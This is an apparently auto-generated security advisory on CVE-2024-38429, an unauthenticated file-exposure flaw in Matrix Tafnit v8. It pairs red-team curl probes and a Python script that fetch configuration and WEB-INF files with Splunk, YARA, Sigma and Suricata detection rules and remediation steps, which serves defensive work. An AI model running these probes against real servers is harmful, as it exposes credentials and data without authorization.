CVE-2024-38429

Executive Summary

CVE-2024-38429 is a high-severity vulnerability (CVSS 7.5) affecting Matrix Tafnit v8, an enterprise application framework. The flaw is classified under CWE-552: Files or Directories Accessible to External Parties, meaning that sensitive files or directories are exposed to unauthorized external parties without proper access controls. This can lead to information disclosure, including configuration files, credentials, or proprietary business logic.

The vulnerability has an EPSS score of 0.0%, indicating no active exploitation in the wild at the time of analysis. However, due to the lack of a vendor patch and the nature of the exposure, this poses a significant risk to organizations using Tafnit v8. No public exploit code or Nuclei template is available, but the attack vector is straightforward: an unauthenticated attacker can access restricted paths via HTTP requests.

Supply Chain & Package Security

Matrix Tafnit v8 is a proprietary enterprise application, not distributed via public package registries (NPM, PyPI, Go, Ruby). Therefore, supply chain risks are limited to internal deployment artifacts and third-party dependencies bundled with the application. Organizations should audit all bundled libraries and ensure they are not exposing files through misconfigured web servers or application routes.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Complete disclosure of sensitive files.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to read arbitrary files from the server, potentially exposing database credentials, API keys, or business-critical data.

Deep Dive & Mechanics

Matrix Tafnit v8 is a web-based enterprise application framework. The vulnerability stems from improper access control on static file serving or directory listing. Specifically, the application fails to restrict access to certain directories (e.g., /config, /backup, /logs, /WEB-INF) that contain sensitive information.

Root Cause: The web server or application logic does not validate whether the requesting user is authorized to access files outside the public web root. This is a classic case of CWE-552, where the application exposes files or directories to external parties.

Attack Vector: An attacker can send HTTP GET requests to known or guessed paths:

• /config/database.yml
• /backup/
• /logs/application.log
• /WEB-INF/web.xml

If the server returns the file content or a directory listing, the vulnerability is confirmed.

Impact: Full disclosure of configuration files, credentials, source code, or other sensitive data. This can lead to further compromise, such as lateral movement or privilege escalation.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the default configuration of Tafnit v8. The patched version would require implementing proper access controls.

Vulnerable Configuration (example):

<!-- web.xml - vulnerable -->
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>
<!-- No security constraint for sensitive directories -->

Patched Configuration (hypothetical):

<!-- web.xml - patched -->
<security-constraint>
    <web-resource-collection>
        <web-resource-name>Protected Area</web-resource-name>
        <url-pattern>/config/*</url-pattern>
        <url-pattern>/backup/*</url-pattern>
        <url-pattern>/logs/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
</security-constraint>

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Matrix Tafnit v8 running on Apache Tomcat or similar.
• Attacker: Kali Linux with curl, Burp Suite, or custom scripts.

Exploitation Steps:

1. Identify the target IP/domain.
2. Probe for exposed directories:

   curl -v http://target.com/config/
   curl -v http://target.com/backup/
   curl -v http://target.com/logs/
   

3. If directory listing is enabled, browse and download files.
4. If no listing, guess common file names:

   curl -v http://target.com/config/database.properties
   curl -v http://target.com/WEB-INF/web.xml
   

5. Extract sensitive data (e.g., database credentials, API keys).

Automated Script (Python):

import requests

target = "http://target.com"
paths = [
    "/config/",
    "/config/database.properties",
    "/backup/",
    "/logs/",
    "/WEB-INF/web.xml",
    "/WEB-INF/classes/application.properties"
]

for path in paths:
    r = requests.get(target + path)
    if r.status_code == 200:
        print(f"[+] Found: {path}")
        print(r.text[:500])

Blue Team

Detection & Response:

• Monitor web server logs for requests to sensitive paths (e.g., /config, /backup, /WEB-INF).
• Alert on 200 responses to these paths from unauthenticated users.
• Use WAF rules to block access to known sensitive directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri_path IN ("/config/*", "/backup/*", "/logs/*", "/WEB-INF/*")
| stats count by src_ip, uri_path, status
| where status=200

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /config/, /backup/, /logs/, /WEB-INF/ paths.
  • Unusual outbound data transfers from the Tafnit server.
• File IOCs:
  • Presence of downloaded configuration files (e.g., database.properties, web.xml) on attacker systems.
• Log IOCs:
  • Web server logs showing 200 responses to sensitive paths from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_38429_Exposed_Config {
    meta:
        description = "Detects exposed configuration files from Matrix Tafnit v8"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38429"
    strings:
        $config = "database.properties" nocase
        $webxml = "web.xml" nocase
        $backup = "backup" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-38429 - Matrix Tafnit v8 Directory Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to access sensitive directories in Matrix Tafnit v8
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path:
            - '/config/*'
            - '/backup/*'
            - '/logs/*'
            - '/WEB-INF/*'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38429 - Matrix Tafnit v8 Sensitive Path Access"; flow:to_server; content:"/config/"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-38429 - Matrix Tafnit v8 Backup Access"; flow:to_server; content:"/backup/"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-38429 - Matrix Tafnit v8 Log Access"; flow:to_server; content:"/logs/"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2024-38429 - Matrix Tafnit v8 WEB-INF Access"; flow:to_server; content:"/WEB-INF/"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Configure the web server (Apache, Nginx, Tomcat) to deny access to sensitive directories:

   <Directory "/path/to/tomcat/webapps/ROOT/config">
       Require all denied
   </Directory>
   

2. Disable Directory Listing: Ensure Options -Indexes is set in Apache or equivalent in other servers.
3. Implement Authentication: Add authentication for any administrative or configuration endpoints.

Long-Term Fix:

• Apply a vendor patch if/when released.
• Conduct a full security audit of the application's access control logic.
• Implement a Web Application Firewall (WAF) with rules to block sensitive path access.

Workaround:

• Move sensitive files outside the web root.
• Use symbolic links or virtual directories with strict permissions.

Report generated by Valters IT DevSecOps & CTI Division